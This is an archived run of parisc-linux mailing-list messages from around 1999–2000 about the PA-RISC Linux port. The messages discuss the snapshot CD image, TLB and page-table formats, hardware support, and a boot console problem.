In-Reply-To: <E13MF55-0001Zr-00@noam.fc.hp.com>; from bame@noam.fc.hp.com on Tue, Aug 08, 2000 at 01:30:31PM -0600
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:7659

Paul Bame said:
> We recently sent off the master copy of the PA/Linux Snapshot 0.1 CD
> for replication, and for distribution at LinuxWorldExpo.  The compressed
> ISO image is available at:
> 
>     ftp://puffin.external.hp.com/pub/parisc/cd-images
>     (inside HP) http://debian.fc.hp.com/cd-images/

Great stuff Paul - thanks for making the image available.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:13:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Craig Hada <chada@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Qn on PA-RISC Page tables and TLB
Date: Thu, 25 Mar 1999 12:31:37 -0800
Lines: 50
Approved: news@gmane.org
Message-ID: <199903252031.MAA27090@psalpha2.cup.hp.com>
References: <Pine.LNX.3.96.990324225944.502B-100000@quark.ix.netcom.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619035 2107 80.91.229.3 (22 Nov 2014 01:17:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:15 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: chada@cup.hp.com  Thu Mar 25 15:31:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id PAA27555
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 15:31:48 -0500
Original-Received: (qmail 14986 invoked by uid 15267); 25 Mar 1999 20:30:35 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 14979 invoked from network); 25 Mar 1999 20:30:35 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 20:30:35 -0000
Original-Received: from psalpha2.cup.hp.com (psalpha2.cup.hp.com [15.13.189.229])
	by atlrel1.hp.com (8.8.6 (PHNE_14041)/8.8.5tis) with ESMTP id PAA19106
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 15:31:28 -0500 (EST)
Original-Received: from localhost (localhost [127.0.0.1])
	by psalpha2.cup.hp.com (8.8.6 (PHNE_16852)/8.8.6) with SMTP id MAA27090
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 12:31:37 -0800 (PST)
X-Authentication-Warning: psalpha2.cup.hp.com: localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 24 Mar 1999 23:10:36 PST."
             <Pine.LNX.3.96.990324225944.502B-100000@quark.ix.netcom.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7660

> 
> 
> PA-RISC Arch 1.1 book says:
> On page 3-14:
> 
> 	Exact form of these tables is s/w convention. 
> 
> Q.	If the format is software convention, does that mean
> 	the fields within TLB slots are not defined by Hardware ?
> 	Though  the book does seem to indicate what fields are needed
> 	in a pdir entry. Without knowing exact positions of various
> 	fields how would TLB entries be updated from pdir entries in
> 	memory ?
> 

In the absense of a harware TLB walker, the page directory format can be
structured by software to fit its needs. However, the TLB miss handler
must reformat the bits to fit the format of the TLB insert instructions.
To get maximum performace from the system, the TLB miss handlers must be
made very efficient. The format of the page directory entry in the PA-RISC 
Arch 1.1 book minimizes the work of the TLB miss handlers by aligning the
fields to match the format of the TLB insert instructions.

In order to enable the hardware TLB walker, the format of the page directory
must match the format from PA-RISC Arch 1.1 book. In addition, the memory
for the page directory must be equivalently mapped, power of two size aligned
(ie a page directory 1 MB in size must start on a 1 MB boundary), and 
contiguous. 

> 	Other interesting point to note is that PA-RISC does not
> 	define how many entries in the table etc. Very much unlike
> 	x86.
> 
> -pkd

The number of entries in the page directory are a function of the amount of 
memory and the amount of memory mapped I/O in the box. Since the hash
function is not perfect, the size of page directory can be tuned to meet
the system requirements.

-Craig
> 	
> 
> 
> 
> 
> -------------------------------------------------------------------------
> To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:13:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA/Linux CD Image
Date: Wed, 09 Aug 2000 11:52:02 -0700
Lines: 84
Approved: news@gmane.org
Message-ID: <200008091852.LAA04581@milano.cup.hp.com>
References: <39917C97.4DC81F31@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619035 2113 80.91.229.3 (22 Nov 2014 01:17:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: schaecsn <schaecsn@gmx.de>
Original-X-From: grundler@cup.hp.com  Wed Aug  9 19:57:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA00434
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Aug 2000 19:57:31 -0600
Original-Received: (qmail 21082 invoked by uid 15267); 9 Aug 2000 19:57:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20928 invoked from network); 9 Aug 2000 19:57:34 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 9 Aug 2000 19:57:34 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 099794E7F; Wed,  9 Aug 2000 11:49:27 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA04581;
	Wed, 9 Aug 2000 11:52:07 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 09 Aug 2000 17:45:27 PDT."
             <39917C97.4DC81F31@gmx.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:7661

schaecsn wrote:
> Hello,
> 
> I am interested in trying out the PA Linux cdrom. Before I put much
> effort into installing it on my 735 i have a few questions.

The CD targets the 712/715/A180/B180 -like machines.
Check the HWDB to see what devices in the 735 are supported.

> my understanding of the current state of the port is that the kernel
> boots and some user applications run at ... at least a few seconds.
> right?

Yes. I was even able to dd from one disk to another w/o crashing. :^)

> how "complete" is the cdrom image, e.g. does there exist a /etc
> directory with some rc.d files and similiar essential things?

Yes. It gets to a login prompt and is multitasking.
I believe the CD-image at:

  ftp://puffin.external.hp.com/pub/parisc/cd-images/palinux-0.1-noftp.raw.gz

is basically the same bits as in:

  ftp://puffin.external.hp.com/pub/parisc/binaries/nfsroot/nfsroot-20000804.tgz

I've placed the "tar tzvf" output of nfsroot-20000804 in
.../nfsroot-20000804.contents.

BTW, kudos to Paul Bame and Matt Taggart for putting these images together.
(I'm not ignoring previous and other contributors - just want to
give credit for this particular one)

> if i put
> some effort into installing it then I'll like to use it as a basis for
> further updates, e.g. when there will be eventually a stable kernel I
> want to install it over this distribution.

I think the goal is to completely clobber this once shared libs are
useable...the image sizes will be much smaller then too.

It's pretty easy to install....took me < 30 minutes, including
writing up feedback on the alpha version of the README.INSTALL.

Read the "WARNINGS" several times and heed them.  If you don't
know what you are doing, parisc-linux isn't ready for you yet.
You are welcome to learn by trying but don't be to surprised
by the results...

> I'll have to install probably
> some further programs, too. Will this be possible with a "reasonable"
> effort?

Networking userspace wasn't clearly working last I tried.
You can xenv build the apps and then mount the parisc-linux disk on a
x86-linux. Not sure that fits your definition of "reasonable" but it's
do-able.

> aehm, i have a 200MB SCSI disk. That is enough, isn't it?

I think so:
grundler <514>du -s lwe.nfsroot/
102924  lwe.nfsroot

I transferred that to a disk which has 10MB boot and 64MB swap partitions.
So 200MB should work (for now :^)).

FWIW, I have debian linux installed on my OB600 which only
has a 340MB disk. basic install (ie had networking and some
core X11 bits installed) left me with ~150MB or so free. But
for it to be useful to me, I had to install tools/source/etc
and now am down to ~20MB free.

But given that HP is scrapping older 525MB and 1GB SE SCSI disks, I
think you should be able to find something bigger for < $20 on
e-bay or at your favorite computer recycling center.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA/Linux CD Image
Date: Thu, 10 Aug 2000 04:25:16 +0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20000810042514.B19310@neep.com.au>
References: <39917C97.4DC81F31@gmx.de> <200008091852.LAA04581@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619036 2119 80.91.229.3 (22 Nov 2014 01:17:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:16 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Wed Aug  9 20:25:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA00945
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Aug 2000 20:25:48 -0600
Original-Received: (qmail 17709 invoked by uid 15267); 9 Aug 2000 20:26:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17623 invoked from network); 9 Aug 2000 20:25:58 -0000
Original-Received: from filk.iinet.net.au (203.59.24.235)
  by mailserv2.iuinc.com with SMTP; 9 Aug 2000 20:25:58 -0000
Original-Received: from guinness.neep.com.au (reggae-33-37.nv.iinet.net.au [203.59.166.37])
	by filk.iinet.net.au (8.8.7/8.8.7) with ESMTP id FAA24066
	for <parisc-linux@thepuffingroup.com>; Thu, 10 Aug 2000 05:26:24 +0800
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id EAA19644
	for parisc-linux@thepuffingroup.com; Thu, 10 Aug 2000 04:25:20 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200008091852.LAA04581@milano.cup.hp.com>; from grundler@cup.hp.com on Wed, Aug 09, 2000 at 11:52:02AM -0700
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:7662

Grant Grundler said:
> But given that HP is scrapping older 525MB and 1GB SE SCSI disks, I
> think you should be able to find something bigger for < $20 on
> e-bay or at your favorite computer recycling center.

I was wondering, might anyone know of such a place in Australia?

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:13:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mark Farris" <bmcfarris@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] G30 & G50
Date: Wed, 09 Aug 2000 14:02:16 MST
Lines: 15
Approved: news@gmane.org
Message-ID: <F129IdEKj3tDfCjuXbg0000245a@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416619036 2121 80.91.229.3 (22 Nov 2014 01:17:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:16 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bmcfarris@hotmail.com  Wed Aug  9 21:02:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA01436
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Aug 2000 21:02:31 -0600
Original-Received: (qmail 27933 invoked by uid 15267); 9 Aug 2000 21:02:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27913 invoked from network); 9 Aug 2000 21:02:43 -0000
Original-Received: from f129.law8.hotmail.com (HELO hotmail.com) (216.33.241.129)
  by mailserv2.iuinc.com with SMTP; 9 Aug 2000 21:02:43 -0000
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 9 Aug 2000 14:02:16 -0700
Original-Received: from 144.189.40.222 by lw8fd.law8.hotmail.msn.com with HTTP;	Wed, 09 Aug 2000  GMT
X-Originating-IP: [144.189.40.222]
X-OriginalArrivalTime: 09 Aug 2000 21:02:16.0341 (UTC) FILETIME=[19188450:01C00245]
Xref: news.gmane.org gmane.linux.ports.parisc:7663

Hi Folks;
     Will your release run on 9000-800 G30 or G50? I have to
erase some hv differential Raids on several various flavors of these 
machines and have no access (passwords) to the OS or any distribution media 
and am required to erase the hard drives prior to disposal of the hardware. 
I really don't want to pull the drives out and munch them in a press or 
drill a hole in them, what a waste. I would much rather load linux on them 
and make them useful again. Any suggestions???

I am grateful for any advice. Thanks,

Mark Farris
________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com


From - Thu Nov 08 21:13:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] G30 & G50
Date: Wed, 9 Aug 2000 16:09:24 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20000809160924.G993@vodka.thepuffingroup.com>
References: <F129IdEKj3tDfCjuXbg0000245a@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619036 2122 80.91.229.3 (22 Nov 2014 01:17:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mark Farris <bmcfarris@hotmail.com>
Original-X-From: willy@thepuffingroup.com  Wed Aug  9 21:14:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA01682
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Aug 2000 21:14:10 -0600
Original-Received: (qmail 8554 invoked by uid 15267); 9 Aug 2000 21:14:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8514 invoked from network); 9 Aug 2000 21:14:21 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 9 Aug 2000 21:14:21 -0000
Original-Received: (qmail 28988 invoked from network); 9 Aug 2000 21:14:00 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 9 Aug 2000 21:14:00 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id QAA05604;
	Wed, 9 Aug 2000 16:09:24 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <F129IdEKj3tDfCjuXbg0000245a@hotmail.com>; from Mark Farris on Wed, Aug 09, 2000 at 02:02:16PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7664

On Wed, Aug 09, 2000 at 02:02:16PM -0700, Mark Farris wrote:
> Hi Folks;
>      Will your release run on 9000-800 G30 or G50?

The closest thing we have to either of these is the G40:

http://216.208.98.4/view.php3?type=machine&name=G40

and all the devices here are undocumented.  so no, probably not to any
great extent.

> I have to
> erase some hv differential Raids on several various flavors of these 
> machines and have no access (passwords) to the OS or any distribution media 
> and am required to erase the hard drives prior to disposal of the hardware. 
> I really don't want to pull the drives out and munch them in a press or 
> drill a hole in them, what a waste. I would much rather load linux on them 
> and make them useful again. Any suggestions???

i suspect someone can offer you suggestions here.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cd image does boot but console dies during kernel boot
Date: Thu, 10 Aug 2000 03:40:11 +0200
Lines: 8
Approved: news@gmane.org
Message-ID: <399207FB.3A6EBEFA@fischlustig.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619037 2124 80.91.229.3 (22 Nov 2014 01:17:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andi@fischlustig.de  Thu Aug 10 01:33:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA22715
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Aug 2000 01:33:47 -0600
Original-Received: (qmail 3750 invoked by uid 15267); 10 Aug 2000 01:34:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3742 invoked from network); 10 Aug 2000 01:34:00 -0000
Original-Received: from pc19ea156.dip.t-dialin.net (HELO tentakel.fischlustig.de) (193.158.161.86)
  by mailserv2.iuinc.com with SMTP; 10 Aug 2000 01:34:00 -0000
Original-Received: (qmail 12602 invoked from network); 10 Aug 2000 01:34:58 -0000
Original-Received: from beavis.fischlustig.de (HELO fischlustig.de) (192.168.1.11)
  by tentakel.fischlustig.de with SMTP; 10 Aug 2000 01:34:58 -0000
Original-Sender: andi@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.15 i686)
X-Accept-Language: en, de
Xref: news.gmane.org gmane.linux.ports.parisc:7665

I tried the recent kernels and the developer snapshot cd.
My machine is a 712/60 with 128MB RAM.

here the last two lines from the kernel output

ttyS00 at iomem 0xf0105800 (irq = 538) is a 16550A
pdc_cons die!!


From - Thu Nov 08 21:13:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cd image does boot but console dies during kernel 
 boot
Date: Wed, 09 Aug 2000 19:50:37 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <20000810015037.226F9381A0@carmen.fc.hp.com>
References: <399207FB.3A6EBEFA@fischlustig.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619037 2125 80.91.229.3 (22 Nov 2014 01:17:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andreas <andi@fischlustig.de>
Original-X-From: taggart@carmen.fc.hp.com  Thu Aug 10 01:48:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA22919
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Aug 2000 01:48:42 -0600
Original-Received: (qmail 13244 invoked by uid 15267); 10 Aug 2000 01:48:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13227 invoked from network); 10 Aug 2000 01:48:55 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 10 Aug 2000 01:48:55 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel1.hp.com (Postfix) with ESMTP
	id CC9EE30D; Wed,  9 Aug 2000 19:48:59 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 226F9381A0; Wed,  9 Aug 2000 19:50:37 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from Andreas <andi@fischlustig.de> 
   of "Thu, 10 Aug 2000 03:40:11 +0200." <399207FB.3A6EBEFA@fischlustig.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:7666


Andreas writes...

> I tried the recent kernels and the developer snapshot cd.
> My machine is a 712/60 with 128MB RAM.
> 
> here the last two lines from the kernel output
> 
> ttyS00 at iomem 0xf0105800 (irq = 538) is a 16550A
> pdc_cons die!!

Everyone sees that error currently.

I assume you are watching this output on the graphics console?  At this point 
the kernel switches over to the serial for console.  You have two options,

1. Plug in a serial console(minicom and a null-modem cable work well). In this 
case you may also want to hack the firmware console to serial so you get 
everything in one place. See,

http://puffin.external.hp.com/mailing-lists/parisc-linux/1999/12-Dec/0091.html

for instructions. You will need an HP-UX disk to boot from and serial console 
on the 712 is not supported by HP. But it works fine.


2. Switch to a kernel that uses STI instead of serial.  Then you will get all 
output on the graphics console. To do this use a kernel built with 
CONFIG_STI_CONSOLE enabled.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cd image does boot but console dies during kernel 
 boot
Date: Thu, 10 Aug 2000 04:05:49 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <39920DFD.1708DC4B@fischlustig.de>
References: <399207FB.3A6EBEFA@fischlustig.de> <20000810015037.226F9381A0@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619037 2130 80.91.229.3 (22 Nov 2014 01:17:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andi@fischlustig.de  Thu Aug 10 01:59:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA23296
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Aug 2000 01:59:26 -0600
Original-Received: (qmail 21674 invoked by uid 15267); 10 Aug 2000 01:59:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21645 invoked from network); 10 Aug 2000 01:59:38 -0000
Original-Received: from pc19ea156.dip.t-dialin.net (HELO tentakel.fischlustig.de) (193.158.161.86)
  by mailserv2.iuinc.com with SMTP; 10 Aug 2000 01:59:38 -0000
Original-Received: (qmail 25401 invoked from network); 10 Aug 2000 02:00:36 -0000
Original-Received: from beavis.fischlustig.de (HELO fischlustig.de) (192.168.1.11)
  by tentakel.fischlustig.de with SMTP; 10 Aug 2000 02:00:36 -0000
Original-Sender: andi@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.15 i686)
X-Accept-Language: en, de
Xref: news.gmane.org gmane.linux.ports.parisc:7667

>
> 2. Switch to a kernel that uses STI instead of serial.  Then you will get all
> output on the graphics console. To do this use a kernel built with
> CONFIG_STI_CONSOLE enabled.

well... it would be a good idea to put a kernel that uses STI on the ftp
server...


bye
  Andreas



From - Thu Nov 08 21:13:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] off topic.
Date: Wed, 9 Aug 2000 21:32:45 -0500 (CDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10008092130340.2595-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619038 2132 80.91.229.3 (22 Nov 2014 01:17:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: catfish@alltel.net  Thu Aug 10 02:30:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA23825
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Aug 2000 02:30:32 -0600
Original-Received: (qmail 13271 invoked by uid 15267); 10 Aug 2000 02:30:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13099 invoked from network); 10 Aug 2000 02:30:26 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@166.102.253.71)
  by mailserv2.iuinc.com with SMTP; 10 Aug 2000 02:30:26 -0000
Original-Received: from localhost (catfish@localhost)
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id VAA02665
	for <parisc-linux@thepuffingroup.com>; Wed, 9 Aug 2000 21:32:45 -0500
X-Authentication-Warning: jesse.crash.lan: catfish owned process doing -bs
X-Sender: catfish@jesse.crash.lan
Xref: news.gmane.org gmane.linux.ports.parisc:7668

 Hello, 
 I know this is off topic but I have got a copy of NeXT (sparc HPPA
Intel) I can get the Intel and sparc to install fine but I'm trying to use
the sun external cdrom on my HP 715/75 to install from and it will not
boot off the cdrom. 
 If anyone has done this let me know please. off the list. 
Terry


catfish: icq #20116127



From - Thu Nov 08 21:13:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] merge with 2.4.0-testN?
Date: Wed, 9 Aug 2000 21:58:33 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20000809215833.L993@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619038 2135 80.91.229.3 (22 Nov 2014 01:17:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Thu Aug 10 03:03:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA24130
	for <parisc-linux@puffin.external.hp.com>; Thu, 10 Aug 2000 03:03:19 -0600
Original-Received: (qmail 3711 invoked by uid 15267); 10 Aug 2000 03:03:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3701 invoked from network); 10 Aug 2000 03:03:30 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 10 Aug 2000 03:03:30 -0000
Original-Received: (qmail 29784 invoked from network); 10 Aug 2000 03:03:09 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 10 Aug 2000 03:03:09 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id VAA06297
	for parisc-linux@thepuffingroup.com; Wed, 9 Aug 2000 21:58:33 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7669


it's been well over 2 months since we last merged Linus' tree into ours.
i'm thinking about leaving the -test6 patch to mature over the next week
or so, see if there's any cripplingly awful bug reports and, if not,
merge -test6 into our tree.  if there are, -test4 had some good reviews,
i might consider that instead.

i'm going to tentatively set a date as Thursday 16th August for this.
if you've got any big changes outstanding, now would be an excellent
time to commit them before the landscape shifts under our feet.

-- 
Revolutions do not require corporate support.

